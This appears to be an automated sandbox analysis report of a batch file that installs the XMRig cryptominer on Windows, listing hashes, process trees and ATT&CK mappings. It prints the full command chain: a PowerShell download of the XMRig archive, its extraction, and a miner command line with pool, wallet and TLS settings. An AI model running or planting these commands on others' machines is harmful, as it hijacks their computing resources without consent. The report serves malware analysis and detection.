xmrig | c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
93s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 02:54

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General

Target

3.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

xmrig execution miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 1280 powershell.exe
8 1280 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

xmrig.exe

pid process

4448 xmrig.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1280 powershell.exe
4608 powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1280 powershell.exe
1280 powershell.exe
4608 powershell.exe
4608 powershell.exe

flow	pid	process
6	1280	powershell.exe
8	1280	powershell.exe

pid	process
4448	xmrig.exe

pid	process
1280	powershell.exe
4608	powershell.exe

pid	process
1280	powershell.exe
1280	powershell.exe
4608	powershell.exe
4608	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exexmrig.exe

description	pid	process
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeLockMemoryPrivilege	4448	xmrig.exe
Token: SeLockMemoryPrivilege	4448	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

xmrig.exe

pid process

4448 xmrig.exe

pid	process
4448	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2740 wrote to memory of 1280	2740	cmd.exe	powershell.exe
PID 2740 wrote to memory of 1280	2740	cmd.exe	powershell.exe
PID 2740 wrote to memory of 4608	2740	cmd.exe	powershell.exe
PID 2740 wrote to memory of 4608	2740	cmd.exe	powershell.exe
PID 2740 wrote to memory of 4448	2740	cmd.exe	xmrig.exe
PID 2740 wrote to memory of 4448	2740	cmd.exe	xmrig.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4608

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4448

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
a2b24af1492f112d2e53cb7415fda39f

SHA1
dbfcee57242a14b60997bd03379cc60198976d85

SHA256
fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

SHA512
9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2nfpkclm.obn.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip
Filesize
2.5MB

MD5
cef0ae1ab544e40b659261a4e07fe48f

SHA1
e5ff855ce3c7726a50eb50a634ff9f406b3df093

SHA256
713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e

SHA512
1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8

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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
Filesize
6.1MB

MD5
c0f8959614ae06561216158d78a787e5

SHA1
73167d1fd0cee1c96a6505606d21cbfe4369eb00

SHA256
e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

SHA512
a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

Download Submit
memory/1280-0-0x00007FF8AF063000-0x00007FF8AF065000-memory.dmp

Filesize
8KB

Download
memory/1280-16-0x00007FF8AF060000-0x00007FF8AFB21000-memory.dmp

Filesize
10.8MB

Download
memory/1280-11-0x00007FF8AF060000-0x00007FF8AFB21000-memory.dmp

Filesize
10.8MB

Download
memory/1280-1-0x00000145E8000000-0x00000145E8022000-memory.dmp

Filesize
136KB

Download
memory/1280-12-0x00007FF8AF060000-0x00007FF8AFB21000-memory.dmp

Filesize
10.8MB

Download
memory/4448-60-0x0000027B961A0000-0x0000027B961C0000-memory.dmp

Filesize
128KB

Download
memory/4608-30-0x00007FF8AF060000-0x00007FF8AFB21000-memory.dmp

Filesize
10.8MB

Download
memory/4608-31-0x00007FF8AF060000-0x00007FF8AFB21000-memory.dmp

Filesize
10.8MB

Download
memory/4608-33-0x0000021867150000-0x000002186715A000-memory.dmp

Filesize
40KB

Download
memory/4608-32-0x0000021867160000-0x0000021867172000-memory.dmp

Filesize
72KB

Download
memory/4608-56-0x00007FF8AF060000-0x00007FF8AFB21000-memory.dmp

Filesize
10.8MB

Download
memory/4608-29-0x00007FF8AF060000-0x00007FF8AFB21000-memory.dmp

Filesize
10.8MB

Download
memory/4608-18-0x00007FF8AF060000-0x00007FF8AFB21000-memory.dmp

Filesize
10.8MB

Download